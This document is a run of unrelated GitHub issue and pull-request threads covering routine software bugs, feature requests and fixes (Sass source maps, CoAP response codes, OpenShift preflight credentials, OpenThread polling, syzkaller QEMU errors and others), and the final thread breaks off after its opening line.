Sass partials source mapping

Hello everybody,
It's been some hours I've been stuck on a problem so I felt like posting my issue here looking for some help.
Here is my problem, I am trying to use Chrome DevTools source mapping for my stylesheet.
I am using @zeit/next-sass.
I can't seem to find the proper way to use Chrome DevTools to source map my .scss partials files. In the console the properties lines are all directing to my compiled main.scss file.
Also when I try to modify my scss file there is no persistence in what I do in my chrome console.
I did try a lot of differents tutos, doing some sass --watch, adding   devtool: 'inline-source-map, and so on, but nothing seems to work.
I must be doing something wrong. Would anyone be gentle enough to help me doing the proper stuff to make that work. That would improve my workflow speed so much !
Kind regards community !
EDIT : I now found a way to get my scss in my devtools with the right path to partials by replacing :
<link rel="stylesheet" href="/_next/static/style.css" />
by
<link rel="stylesheet" href="/static/scss/main.css" /> (genetared by sass gem)
The problem is that if I want my changes to be persistent I need to do them in the sources panel. I can't just modify css properties in the classic properties panel. This is problematic because if I do change the properties in the sources panel I can't benefit of the live reload which is a bit of a time waste.

@aurelienbobenrieth following config works for me.
module.exports = withSass({
  sassLoaderOptions: {sourceMap: true}
})

With that config I still just have the final main .scss file in my devtool.
But thank you for trying to help !

@aurelienbobenrieth can you publish your code somewhere?


Parallelise LAL waveforms

When activating parallel=1 with LAL waveforms, the error: TypeError: can't pickle lal.Dict objects appears.

Probably helpful to check what was done e.g. in bajes, gwmodel, pyRing to overcome the issue.

@matteobreschi here is the LAL issues. Instructions on how to run the test case are here.

Solved defining lal.Dict object inside waveform function


Fix grafana network policy

/kind bug
What this PR does / why we need it:
Network policy for Grafana introduced with kube-prometheus v0.11.0 does not allow ingress traffic from ingress-nginx.
This PR allows ingress originated from the respective namespace.

ref https://github.com/gardener/ci-infra/pull/372


Command history lost on exit

I've been using SuperPutty for over 3 years and I love working on it.
Its tabbed browsing is excellent and saves me a lot of time.

Currently, when a session is closed, the command history is lost.
Can you please include a setting, so that user can choose if command history
can be saved. While saving, we can limit the number of commands to be stored.

Original issue reported on code.google.com by<EMAIL_ADDRESS>on 12 Feb 2014 at 1:36
Attachments:

20140211_SuperPutty_CommandHistory.png

See Issue #530


Link helm reference docs on helm installation page

Description:

Describe the issue.

The Helm installation page https://gateway.envoyproxy.io/latest/install/install-helm/ should have a link to the helm reference docs
https://github.com/envoyproxy/gateway/blob/main/charts/gateway-helm/README.md
[optional Relevant Links:]

Any extra documentation required to understand the issue.

/assign @yuluo-yx

@arkodg there is already a link to helm chart values:

https://gateway.envoyproxy.io/v1.0.1/install/install-helm/#using-valuesyaml-file-for-complex-installation
However, I noticed that values section in chart README.md is not updated.
The reason is only site/content/en/latest/install/api.md is updated when running make helm-readme-gen: https://github.com/envoyproxy/gateway/blob/c30d09f284e1ecc0a18a59dbe015987c6a713b1f/tools/make/docs.mk#L38-L42

thanks for finding this @shahar-h, looks like the presentation is not ideal, @yuluo-yx can we move the line right after https://gateway.envoyproxy.io/v1.0.1/install/install-helm/#helm-chart-customizations ?

thanks for finding this @shahar-h, looks like the presentation is not ideal, @yuluo-yx can we move the line right after https://gateway.envoyproxy.io/v1.0.1/install/install-helm/#helm-chart-customizations ?

got it, I will move.

done. pls review @arkodg


Installing an update

I am glad to be the first one to create an issue for this project.
Is it safe to update from git://github.com/baverman/dropthesoap.git@ba627f539b633744cbfcbcca7a77698766af0fc9#egg=dropthesoap-master to the lastest version? Are there any improvements? This project does not have any changelog, so it is not clear to me.
It will be a great improvent to the project if you find an opportunity to upload it to PyPI (with proper versioning). By now it's installed by calling:
Running setup.py develop for dropthesoap-master

Thank you.

Is it safe to update from ... to the lastest version?

Yeah, I use master in production.

Are there any improvements?

There are minor improvements in declaring request/response types. In most cases one can use decorator without explicit entry in schema.

It will be a great improvent to the project if you find an opportunity to upload it to PyPI

I'm going to write proper docs and do a release. Thank you for interest!


The applications created with special character names throws errors when generating keys

Description:
With the latest validation available for creating service providers which is ^[a-zA-Z0-9 ._-]*$
keymanager only allows to create service providers with AlphaNumeric characters, _, - and space.
But in API manager, if we use special character for application name (e.g. Cédric), we are allowed to create application. But when generating the keys for the application it gives following error.
"Error occurred while executing the action generateApplicationKey"
And backend error :
APIUtil Error occurred while creating ServiceProvider for app admin_Cédric_PRODUCTION
org.wso2.carbon.identity.application.common.IdentityApplicationManagementException: The Application name admin_Cédric_PRODUCTION is not valid! It is not adhering to the regex ^[a-zA-Z0-9 ._-]*$
Because service provider name derived from the application name getting validation failed.
Therefore validate Application creation and application edit with the same special character validation used in creating the service provider.
Note: White space validation will remain same and this fix should not affect that validation means applications cannot be added with white spaces.
This need to be fixed in both UI level and Rest API level.
Suggested Labels:

Suggested Assignees:

Affected Product Version:
OS, DB, other environment details and versions:
Steps to reproduce:
Related Issues:

Fixed with following commits
https://github.com/wso2-support/carbon-apimgt/pull/944/commits/19579e885d7970ecdcc105e51e8d0d04c36080b2
https://github.com/wso2-support/carbon-apimgt/pull/943/commits/dcf3d5cc171a4881d1dc8c78fd02ee731e83dab0
https://github.com/wso2-support/carbon-apimgt/pull/943/commits/bf997d5405febebf9185efc644721156def9ce62
https://github.com/wso2-support/carbon-apimgt/pull/944/commits/29fc2a681540f797e44bcbc1290030bbcb47ffde

Fixed UI validation with 55022caeb18c8b92300dc0dac04b363bcb3c72e7

Fixed REST API with 4b393cc1aa6e196732779d3d93628db29f2980af


Add preflight-lib reference

Follow up to #592
Building upon work done by @komish in branch: https://github.com/komish/openshift-preflight/tree/add-lib-ha
Closing the older PR as this branch is now consuming the new public funcs made available by the preflight team.
As a note, #630 has been created because of work done here.

Removing the proof of concept label.  The refactor PR merged today and I have updated this PR to point at it.
https://github.com/redhat-openshift-ecosystem/openshift-preflight/pull/825
This PR above merged into an upstream branch called lib but is still accessible via a go mod replace directive.

I'm currently checking through these failures:
Summarizing 4 Failures:
  [FAIL] preflight [It] preflight-HasUniqueTag [common, preflight, preflight-HasUniqueTag]
  /Users/bpalm/Repositories/go/src/github.com/test-network-function/cnf-certification-test/pkg/testhelper/testhelper.go:82
  [FAIL] preflight [It] preflight-RunAsNonRoot [common, preflight, preflight-RunAsNonRoot]
  /Users/bpalm/Repositories/go/src/github.com/test-network-function/cnf-certification-test/pkg/testhelper/testhelper.go:82
  [FAIL] preflight [It] preflight-HasLicense [common, preflight, preflight-HasLicense]
  /Users/bpalm/Repositories/go/src/github.com/test-network-function/cnf-certification-test/pkg/testhelper/testhelper.go:82
  [FAIL] preflight [It] preflight-DeployableByOLM [common, preflight, preflight-DeployableByOLM]
  /Users/bpalm/Repositories/go/src/github.com/test-network-function/cnf-certification-test/pkg/testhelper/testhelper.go:82

@ramperher I think the image credentials thing is the last thing this PR needs to pass before it can merge.  Do we have to change something on either our side or the DCI side to get it to be able to pull images correctly?

@ramperher I think the image credentials thing is the last thing this PR needs to pass before it can merge. Do we have to change something on either our side or the DCI side to get it to be able to pull images correctly?

I think the only missing thing is to provide to tnf container the configuration that preflight needs to retrieve the credentials to access to the targeted registries. This has to be modified in tnf side; a way of providing some files and environment variables to achieve this. And the files and values for the environment variables can be provided from our side (and, in the end, for whatever user of this repo).
In particular, we need two files that have to be copied in the tnf container in a well known location:

One file containing the pullsecrets to access to the targeted registries (let's call it config.yaml)
Another file containing the preflight configuration, where it is included the reference to the pullsecrets file path (let's call it creds.json). Here's an example of a template we use on DCI to generate config.yaml, where dockerConfig variable refers to the file containing the pullsecrets.

And also, we need to export OPENSHIFT_AUTH environment variable within tnf referencing the pullsecrets file path (path/to/creds.json within the tnf container).
Then, preflight parses this config file with Viper, and then use this docker credentials while using crane to pull the image
So, tldr, we need:

tnf must accept two files in a well known file path within it: config.yaml and creds.json.
tnf has to export OPENSHIFT_AUTH environment variable pointing to path/to/creds.json.
Preflight must be run from the file path where creds.json is saved

Maybe we can have a sync to review this tomorrow if you want, and then clarify what's needed.

Interesting, we might have to generate some sort of functional ID or something to generate credentials to pass into the image.  Store them in Github and then pass them through when we build.
Yes, let's discuss tomorrow.

@sebrandon1 , by the way, regarding this change, because I've seen you've submitted some updates. When you feel this is working in your side with the constraints we commented regarding the credentials to pull images from registries, so that this is ready for review on DCI side again, just ping me, because I'll need to do some changes on DCI to also propagate the credentials to be used. In the meanwhile, DCI job will continue failing.

@ramperher I'm trying to stick to the preflight team's environment variable PFLT_DOCKERCONFIG found here.  If this is set (or if there is a "$HOME/.docker/config.json" set, it will work.  (Fingers crossed). 😄

/dci-rerun

@sebrandon1 , despite mounting correctly the config.json file:
Mounting 1 dockercfg volume(s):
-v /tmp/ansible.2isc5w7h/config.json:/usr/tnf/dockercfg/config:Z

Preflight is struggling with authentication issues:
DEBUG  [Jan 25 14:37:41.220][suite.go: 32] Entering preflight suite
DEBUG  [Jan 25 14:37:41.220][suite.go: 76] Running preflight container tests for: test
ERROR  [Jan 25 14:37:41.234][containers.go: 88] failed to pull remote container: Get "https://registry.dfwt5g.lab:4443/v2/": x509: certificate signed by unknown authority
FATAL  [Jan 25 14:37:41.234][suite.go: 79] failed running preflight on image: registry.dfwt5g.lab:4443/testnetworkfunction/cnf-test-partner:latest error: failed to pull remote container: Get "https://registry.dfwt5g.lab:4443/v2/": x509: certificate signed by unknown authority

Is there any way to see if preflight is taking correctly the config file?

For reviewers, do we have a preference if these preflight tests should be tagged TagCommon?  What about how we classify them as telco/non-telco/etc @mwlinca?

For reviewers, do we have a preference if these preflight tests should be tagged TagCommon? What about how we classify them as telco/non-telco/etc @mwlinca

From my point of view, until having an official resolution about how tnf and preflight will be tested, I would use a separate label for preflight, not including it within the common label

/dci-rerun


AK, US: Data Inconsistency

data missing 03-23; 04-01 data repeated on 04-02; 04-03 data significantly lower than 04-02 (04-01); 04-03 data repeated on 04-04 and 04-05; 04-06 data missing.
04-03 data drop possibly related to 03-27 data -- same case number value.
same source being used throughout.
timeseries-jhu-ak.xlsx

04-03 data drop possibly related to 03-27 scraper -- same case number value.

now missing full rows for 03-31 as well as 04-02 onward (inclusive).

2020 April 11
timeseries-jhu.csv
level == "state"
missing data point on March 23 and April 2 - 11

Alaska moved their data. We'll have to add a new scraper for it and update. Would you like to take a look? https://github.com/covidatlas/coronadatascraper/blob/master/src/shared/scrapers/US/AK/index.js

Here are the links to the new data locations. negative test, positive case demographics, cases-hospital-death. I'll look at some other arc-gis scrapers and see if I can duplicate them for AK.


lspinfo: add neovim log path in header

I am usually against this type of overengineering but LSP configuration is so complex that it may be a good idea to parse the server commands and look for their logfile as well so we can display it when we see it.
For instance hls has:
	settings = {
			haskell = {
			completionSnippetsOn = false,
			formattingProvider = "stylish-haskell",
				logFile = "/tmp/nvim-hls.log",
				hlintOn = false
		}
	}

Or even more generic, a per server debug function.

I've also thought about logging separate clients to their own log files as well (this would make it much more readable), maybe as an option. Overall I agree with this PR though (I think someone brought this up on reddit).

That person must be quite clever :)
once we have nvim_log in the API, everything will go to the same file anyway so not sure about a per-server neovim log.
Just to make sure, what I meant was haskell-language-server has its own logfile configured via lsp settings logFile = "/tmp/nvim-hls.log", and maybe we could print it along with haskell-language-server configuration.

Doxed!
That makes sense, I think we could also implement (in a plugin ofc) some nice filtering of the lsp.log file to only show a given session/server's log files. Maybe using telescope or the like.


Terraform Provider

Because conduit is software that is meant to be run as a service, developers will want ways to easily repeat their setup process. Conduit needs to be able to be set up via terraform.

@neovintage Do we still see a need for this? I'd say terraform would more assist with setting up the infra and deploying whatever container conduit was built into. Because it is a single binary there's not much do really do.

Closing due to lack of demand.


template-service postgres schema

Not sure of the need of this change, if we spin up db and redis per benchmark within kube


add TooManyRequests constant to support RFC-8516

We recently needed to add this constant locally to our CoAP server, but figured it be good to contribute it upstream as well. I wasn't sure about which uint to assign to it, hence the randomly chosen 145. Happy to change it to something more appropriate.

I'm not certain but I think the codes are derived from a decimal conversion. From RFC7252, Section 5.2:
   As a human-readable notation for specifications and protocol
   diagnostics, CoAP code numbers including the Response Code are
   documented in the format "c.dd", where "c" is the class in decimal,
   and "dd" is the detail as a two-digit decimal.  For example,
   "Forbidden" is written as 4.03 -- indicating an 8-bit code value of
   hexadecimal 0x83 (4*0x20+3) or decimal 131 (4*32+3).

So would that make 4.29 be 4*32+29 = 157?

Thanks for pointing that out, @beriberikix! Totally missed that in the RFC. :facepalm:

NP! Should we also update the README to include this in the list of RFCs supported?

NP! Should we also update the README to include this in the list of RFCs supported?

Good idea! I'll create a separate PR to update the README.

Thx for contributing 👍


Dynamic field creation using value of other field

Is your feature request related to a problem? Please describe.
We would like to have custom field created with the value of other field. For ex: Below is the sample doc we have:
"_source": {
    "name": "system.cpu.used.pct",
    "value": 0.767015
  }

Where name has high cardinal value and can have hundreds of unique value such as memory, disk etc
Describe the solution you'd like
As a solution we would like a new fields to be created where key would be value from name, and value would be value from value.
So, output would be like:
"_source": {
    "system.cpu.used.pct": 0.767015
    "name": "system.cpu.used.pct",
    "value": 0.767015
  }

Additionally it would be good if we have an option where you can replace . via _ as well. For ex:
"_source": {
    "system.cpu.used.pct": 0.767015,
    "system_cpu_used_pct": 0.767015,
    "name": "system.cpu.used.pct",
    "value": 0.767015
  }

Will resolve it through issue #4175.

Regarding the request to "replace . via _", we can do it using the substitute_string processor before using it as field key:
  processor:
    - substitute_string:
        entries:
          - source: "name"
            from: "."
            to: "_"

Closed via #4182


history.json updated after the auto commit

The history.json should be updated before the auto commit, when applying a module, instead of after

I agree but it's not that easy to to in a correct way, it will take some time

I went for the simple solution :)

You're awesome


There is a problem i must ask .

I'm a fresher for webpack, when i use babel to handle es6 and jsx code , I write my webpack.config.js like this :
{test: /.js$/, loaders: ['react-hot', 'babelr?presets[]=es2015'], exclude: /node_modules/}
I recognized my jsx was not handled by babel and webpack threw an error in the line which contains jsx code . By google I found I should add presets:['react'] , but when i add query[], it threw another error .
How should I do ? only you can save me .

You are missing the jsx preset. JSX isn't supported by default anymore.

It's said that babel can transform jsx code into js code by setting presets[]=react

@WenXuanYuan Did you get it to work? If so, feel free to close.

Ok， thank you , I have solved it use another way .


I think this is not supposed to happen, because of this: https://github.com/bitpay/bitcore-wallet-client/blob/master/lib/api.js#L15-L20
I don't know if this is a issue from BWC, request, webpack or angular.. Can someone give me some feedback? I appreciate.

I dont think this is related to BWC. Closing the ticket, but please free to continue the discussion.

https://github.com/angular/angular-cli/issues/1696

https://github.com/angular/angular-cli/issues/1696

@matiu as you can see here: https://github.com/bitpay/bitcore-wallet-client/blob/master/lib/api.js#L15-L20 the BWC when loaded from Angular/Browser isn't supposed to request = require('browser-request'); ?
I think whats happening is require('request'); and not require('browser-request');


Same playbill keeps re-appearing

As reported on https://community.libcrowds.com/d/13-same-playbill-keeps-re-appearing

Yeah, this is definitely a high priority fix...I'll looks at this today, comething seems to have gone wrong with the task generation.
But, we can use this opportunity to update our help/guidance text. I might have to close the projects, download the data, fix the task generation and regenerate, then load the contributions back in. Luckily we haven't had too many yet.

@alexandermendes is there any text that needs a final review/tweak before it's copied over?

We'll we have something there now for all of the help files, so unless there's anything you want to change I think it should all be ok.

Let's see what our generous usability tester makes of the changes and review if necessary!

Yep ok, although that means we have to regenerate the tasks multiple times! I wonder if we might need another answer here, but again, wasn't expecting the text would need to be changed so frequently

It should settle down once we've got the basic tasks set up.
If the dev site was able to pull in the latest text easily, it'd make iterating and testing easier. Something to think about?

So the dev site is using the same database as the live site.
This is the thing about tasks being generated and stored in the database. There's no easy way to then go in and update every task after generation. It's possible to write scripts to do this, of course, but it wouldn't be a small change!

Indeed! It does limit the usefulness of the dev site to an extent, because you can't just try something out and see how it goes, but rather need to plan to be sure that you'll be happy with the text later.

Well we can easily set up another backend, but again it's more work/time/money, if we feel it's worth it we always have that option

There's more information on the original bug report at https://community.libcrowds.com/d/13-same-playbill-keeps-re-appearing/2

Oh thanks, I'll drop in and reply there.
I think it's related to this issue (pagination broken when retrieving tasks via the API):
https://github.com/Scifabric/pybossa/issues/1667

Thanks!
(I missed the replies at the time, the icon stayed white rather than going black)

Closing, see above


huge scripting and rendering times

hi. i have huge rendering(6s+) and scripting(12s+) times with v0.11 and v0.10
could you take a look at my code and tell me what i did wrong? i also tried to change that to cindyJS v0.8.7 katex scripts and i was surprised that the loading time for the hole page was under 4s, but it has still some fails. many of text was not full rendered. maybe thats the reason why the loading time was under that time. any ideas to reduce the loading times would be fine. oh yeah. don't be to hard with my code. i restruct the hole code to reduce the loading time because the original one has 35s+. thats the reason why nothing is really well programmed. the rendering times are just for the button "buch" the other parts takes also there times. the katex scripts are to implement by yourself. thx, br
files.zip

There are 2000+ calls to katex.render in the code.  My hunch is that it's a DOM mutation issue.  Could you look at the flame chart in the profiler and see what functions are taking a long time?  Also, I'm curious what happens if you replace katex.render with katex.renderToString.  That should give us an idea of whether it's a DOM issue or not.

Could you capture the Bottom-Up tab and Call Tree tab?

Hi. Sorry for my late response!
@ylemkimon: times_bottom_up and times_call_tree are with katex.render command but with an modified code. thats the reason why the loading times are smaller then the original post.
@kevinbarabash The problem with your katex.renderToString command is, that i didnt get any rendered functions and i think the best idea is atm to write my hole code new with more buttons which loads and render just the part of the code new which is needed. the new pictures are not anymore with that same code as i posted it. i know, i know! not cool. for the next issues i will make a original backup of the hole code before i set the thread. sry. is my fault.

The output of katex.renderToString would still have to be injected into the page.  From the profiling data you posted, it looks like there's a lot of layout/recalculate style going on in webfont.js.  Do you know what that's doing?


Message disconnected came after connected

Hi @monstrenyatko
when I use your library I got a problem.
I set LWT message when a disconnect is "DISCONNECTED" and I set in the broker is CONNECTED when having a client connect.
but when I set my device to connect my server. after that, I turn off the server in 3 seconds and then turn on. I got CONNECTED message came first and DISCONNECTED later.
please check that. I mean it must be DISCONNECTED came first and CONNECTED later.
I set keepalive is 15
thank you!

Hi @tarzan115
I can't get your problem...client has no control on the broker.
Broker triggers the LWT message automatically when it detects the client disconnection.

thank you. I will check broker.


TCP listener prevents other listeners from listening

HTTP listeners work fine.
When a TCP listener is added first, it prevents other listeners from listening.

Fixed TCP listener blocking the thread.


v8.8.1 Stopped working on Firefox (127.0.1 Windows 11) as of June 22, 2024

Personal Blocklist has been wiped and Importing & saving doesn't work anymore
(Reddit & Know Your Meme are supposed to be blocked)

The blocklist is always reset, and doesn't update in private windows even if Firefox grants permission

"Other search engines" & "Add rules blocking whole sites by default" doesn't work either. It only works if I add each website one at a time. Even then, Google is either slow to load or doesn't load at all.

uBlacklist.txt
Turning off other add-ons didn't work.
It also didn't work in the recent version of Brave

Thank you for attaching your ruleset. The problem you encountered is at least partly due to invalid rules such as:
*://*giantfreakinrobot.com
*://*givemesport.com/*
*://*gizmodo.com/*

# Right:
*://*.giantfreakinrobot.com/*
*://*.givemesport.com/*
*://*.gizmodo.com/*


Kong 1.2RC2 - Failure to change GET to POST and add request body

Issue is that new version of Request Transformer plugin cannot change a GET to a POST & add a body.
To Reproduce:
SETUP
Create a proxy with request transformer plugin enabled
Set Method: POST
ADD Header: Content-Type:application/json
ADD BODY: body:true
TEST
Send GET with no Content-Type header to proxy
Expectation: Upstream will receive a POST with Content-Type application/json and body {"body":"true"}
Observation: Upstream receives a POST with no body
The exact same test with the same client/configs/everything succeeds on Kong 1.0.3
My plugin configs (not all involved in this issue)
{
  "created_at":<PHONE_NUMBER>,
  "config": {
    "remove": {
      "querystring": [],
      "headers": [
        "x-testcase-remove"
      ],
      "body": []
    },
    "replace": {
      "querystring": [],
      "headers": [
        "x-testcase-replace:true"
      ],
      "body": [],
      "uri": null
    },
    "http_method": "POST",
    "append": {
      "querystring": [],
      "headers": [
        "x-testcase-append:stargate"
      ],
      "body": []
    },
    "add": {
      "querystring": [],
      "headers": [
        "x-testcase-add:true",
        "Content-Type:application/json"
      ],
      "body": [
        "body:true"
      ]
    },
    "rename": {
      "querystring": [],
      "headers": [
        "x-rename-me:x-stargate-rename"
      ],
      "body": []
    }
  },
  "id": "3c43e872-3d84-430c-88d5-7d14050960f8",
  "service": null,
  "name": "request-transformer",
  "enabled": true,
  "route": {
    "id": "b4a039a5-d9ff-4294-ba09-676a2a716d3f"
  },
  "run_on": "first",
  "consumer": null,
  "protocols": [
    "http",
    "https"
  ],
  "tags": null
}

@rsbrisci Thank you for the report; the fix is merged and will be in Kong 1.2.1 -- to be released later this week.


Use ID in state key

This PR looks to resolve the issues raised in #20 by allowing state keys to be unique.

Perform an AI-assisted review on

LGTM at a first glance, would you mind adding a "test case" in the playground?

Just checking I'm understanding correctly... the playground is a test app, but does it have automated tests?

Playground is just a... playground!
Automated tests will come sooner or later, for now it's just a test app without automated test and is helping me with keeping some references for future tests implementations

Playground is just a... playground! Automated tests will come sooner or later, for now it's just a test app without automated test and is helping me with keeping some references for future tests implementations

Cool, no worries. I'll get something added later today :)
Thanks again for this package, it's been a lifesaver!

@Rigo-m I've added an update to the playground that demonstrates how these updates support keep-alive, so the searches to continue working independently.

@Rigo-m would you be able to review this soon? Just we have a project reliant on it, so I'm trying to determine whether I wait for a new release here or need to do something else. Thanks.


Last File content stays in the tab

Hi @ian-r-rose,
first thanks a lot for this great toc2-like extension, I'm really enjoying it and looking forward this project.
I noticed that after I close all my tabs, the content of the last file I used is still in the "Content" tab. It is not really an issue, but probably not an intended behaviour.
Cheers

Yep, you are right @mocquin, thanks for the report!


Avoid busy times

As a venue visitor I want to avoid coming to Wellcome Collection during busy times so that I can enjoy the exhibitions in a more relaxed setting
^ I just made up that last bit.

Going to deal with user stories in a different way


Fixed #32210 -- Fixed model inlines with to_field that has a default.

@sainipray Thanks :+1:
I rebased, reorganized commits, and pushed small edits to comments.


enable more types than just string in select

This change enables a props to have more types than just string. This is useful if the type has been narrowed via a disjoint union, etc.

I believe this is no longer need (was done in another PR). Please reopen if I'm mistaken.


Initialize north and south db

Particularly initialize NB_Global and SB_Global tables, whcih is
used by --wait of ovn-nbctl.
Signed-off-by: Hui Kang<EMAIL_ADDRESS>

These two commands has been used in the ovn-sandbox script [1]
[1] https://github.com/openvswitch/ovs/blob/master/tutorial/ovs-sandbox#L364


[Diagnostics] Refactor diagnostics related to raw representable types

Instead of having these diagnostics be a part of ContextualFailure extract them into
their own distinct diagnostic classes which allows to produce better fix-its.
Also move logic from attempt methods into repairFailures and use new fix logic
to diagnose assignment, contextual and argument-to-parameter conversion failures.

@swift-ci please smoke test

@swift-ci please smoke test

All of the suggestions have been addressed, merging.


Extend MediaType to support full range of possible values

This PR extends coap.MediaType to support a full-range (0-65535) of possible values. This allows projects using github.com/dustin/go-coap to define custom media types.
This change conforms to coap specification. https://tools.ietf.org/html/rfc7252#section-12.3

I suggest adding some tests to verify encoding and decoding of non-standard (> 255) media type values.

I've added the tests, @dubek.

Merged. Thanks @besedad for your contribution!


ALSA lib error，Initializing audio voice failed

ALSA lib confmisc.c:768:(parse_card) cannot find card '0'
ALSA lib conf.c:4292:(_snd_config_evaluate) function snd_func_card_driver returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4292:(_snd_config_evaluate) function snd_func_concat returned error: No such file or directory
ALSA lib confmisc.c:1251:(snd_func_refer) error evaluating name
ALSA lib conf.c:4292:(_snd_config_evaluate) function snd_func_refer returned error: No such file or directory
ALSA lib conf.c:4771:(snd_config_expand) Evaluate error: No such file or directory
ALSA lib pcm.c:2266:(snd_pcm_open_noupdate) Unknown PCM default
alsa: Could not initialize DAC
alsa: Failed to open default': alsa: Reason: No such file or directory audio: Failed to create voice adlib'
qemu-system-x86_64: Initialization of device adlib failed: Initializing audio voice failed
when I run syz-manager -config=my.cfg, the error comes. How to solve this problem?

On Mon, Jun 26, 2017 at 10:13 AM, Dafeng<EMAIL_ADDRESS>wrote:

ALSA lib confmisc.c:768:(parse_card) cannot find card '0'
ALSA lib conf.c:4292:(_snd_config_evaluate) function snd_func_card_driver returned error: No such file or directory
ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
ALSA lib conf.c:4292:(_snd_config_evaluate) function snd_func_concat returned error: No such file or directory
ALSA lib confmisc.c:1251:(snd_func_refer) error evaluating name
ALSA lib conf.c:4292:(_snd_config_evaluate) function snd_func_refer returned error: No such file or directory
ALSA lib conf.c:4771:(snd_config_expand) Evaluate error: No such file or directory
ALSA lib pcm.c:2266:(snd_pcm_open_noupdate) Unknown PCM default
alsa: Could not initialize DAC
alsa: Failed to open default': alsa: Reason: No such file or directory audio: Failed to create voiceadlib'
qemu-system-x86_64: Initialization of device adlib failed: Initializing audio voice failed
when I run syz-manager -config=my.cfg, the error comes. How to solve this problem?

Hi,
Try to add the following param to vm config:
"qemu_args": "-enable-kvm"

I have solved the problem, Thank you! @dvyukov

Thanks for testing.
We probably need to make "qemu_args": "-enable-kvm" the default. And then let people who are interested in device testing to add the additional flags manually.

This seems to be fixed.


Sleepy end device wakes up more often than every poll period

Describe the bug
The sleepy end device with relatively big poll period (e.g. 600 s) wakes up more often than every assumed 600 s.
The reason is that there are at least two parameters resulting in waking up the device earlier:

OPENTHREAD_CONFIG_CHILD_SUPERVISION_CHECK_TIMEOUT (by default 190 s)
OPENTHREAD_CONFIG_MLE_CHILD_TIMEOUT_DEFAULT (by default 240 s)

In such scenario the SED is going to wake up after 190 s due to the child supervision check timeout.
Expected behavior
That the SED is going to wake up exactly after the selected poll period value.
Additional context
Question: is this behavior expected? Wouldn't it make sense to set the OPENTHREAD_CONFIG_CHILD_SUPERVISION_CHECK_TIMEOUT and OPENTHREAD_CONFIG_MLE_CHILD_TIMEOUT_DEFAULT to the values equal or greater than poll period? As the poll period may change at runtime, would it make sense to automatically update these two parameters if poll period changes?

Question: is this behavior expected?

Yes.
I would consider the situation you described a configuration issue.

Wouldn't it make sense to set the OPENTHREAD_CONFIG_CHILD_SUPERVISION_CHECK_TIMEOUT and OPENTHREAD_CONFIG_MLE_CHILD_TIMEOUT_DEFAULT to values equal to or greater than the poll period?

Not necessarily. A device should be able to choose any set of parameters it wants. As an example, a device may be using CSL as its indirect transmission mechanism (along with a long data poll transmission period, which would then be longer than the configured supervision timeout).
The OT stack provides APIs to control the "supervision" check timeout and interval at run-time (in addition to the default constants). Note that changing the interval would trigger a "child update" exchange with the parent, as it needs to be synchronized (this is similar to changing the "child timeout").

As the poll period may change at runtime, would it make sense to automatically update these two parameters if the poll period changes?

This should really be controlled per device (based on its needs and expected traffic). I don't think there is a proper common way to say how the supervision "check timeout" should be mapped to the current "poll period" (or CSL period, etc.).
We have the same situation with "child timeout," which also impacts how often a sleepy end device (SED) may send a data poll. For example, if the "child timeout" is set to 500 seconds, then the device will send polls every 500 seconds (minimum), even if the "poll period" is set to a higher value. Changing the poll period will not update the "child timeout."
Also, note that data poll transmission can be directly controlled by the next layer (using the otLinkSendDataRequest() API to send whenever it wants). In this situation, there may be no set "poll period" value using otLinkSetPollPeriod().

@abtink thanks for all clarifications. It's clear to me now. I'm closing this one, as it seems there is nothing to be fixed beside our local configuration.


Adds: API js injection example.

Adds API js injection example.
Summary:
Adds API js injection example.
It shows how having a screen,
create an asset, patch it with js_injection and attach to screen using newly created playlist.
While doing example, found several API and one player issue, that should be fixed later - will create tasks,
but this API example will work regardless.
Test Plan:
No need for test plan.

@korvyashka i've enabled the domain playground.srly.io for this project. We now need to hook it up with Pages to serve it.
Here's an example of how you do that:
# Simple workflow for deploying static content to GitHub Pages
name: Deploy static content to Pages

on:
  # Runs on pushes targeting the default branch
  push:
    branches: ["master"]

  # Allows you to run this workflow manually from the Actions tab
  workflow_dispatch:

# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
  contents: read
  pages: write
  id-token: write

# Allow one concurrent deployment
concurrency:
  group: "pages"
  cancel-in-progress: true

jobs:
  # Single deploy job since we're just deploying
  deploy:
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3
      - name: Setup Pages
        uses: actions/configure-pages@v2
      - name: Upload artifact
        uses: actions/upload-pages-artifact@v1
        with:
          # Upload entire repository
          path: '.'
      - name: Deploy to GitHub Pages
        id: deployment
        uses: actions/deploy-pages@v1

Take a look at some of stripes tutorials for inspiration
https://stripe.com/docs/development/get-started


Issue 146 - make output image optional

@bparees as promised, PTAL

[test]

i second @csrwng 's comment, otherwise lgtm.

Fixed, now waiting for the tests to pass and I'm going to merge it.

[merge]


BindActionCreators

Explore the src/bindActionCreators.ts
What do you mean by "explore" ?
By "explore" we mean to perform a close reading of you section of the code base. Things to look out for are:

Interesting code patterns
Dependencies / Third Party Libraries
Typing
Coding techniques
Anything else that is cool

How should I document what I find?
All exploration should be shared via inline comments in the code itself. You can use any comment style but for convenience consider:
// This style of comment for one-line or small commentary

/*
This style of comment for multi-line commentary
*/

All comments should also be prefixed with #SourceCodeClub to distinguish between our comments and those that were originally in the code. Finally, consider "signing" your comments so you can be referenced in future discussions. So a full comment might look like:
/* two functions */
export default function compose<A,T extends any[], R( // #SCC - interesting use of `any` type here - Will Johnston
  f1: (a: A) => R,
 f2: Func<T,A>
) : Func<T,R>

/*
#SCC
  I think that the use of param and variable names like `f1` and `a` are really not very helpful in understanding this code.
  Obviously not written with readability in mind. I wonder why that is? - Will Johnston
*/

What should I do when I'm done "exploring"?
When you've explored the code to your own satisfaction open up a PR and reference issue #5. Once your PR is open it can be reviewed by other code members for the purpose of discussion. Reviewers are encouraged to pull down the branch and add the own commentary if they feel it expands or enhances the overall discussion.

Can't assign to myself right now, but FYI I did pick this up


Cannot produce big messages

I'm trying to produce a big kafka message in my tests, but I get a really weird error
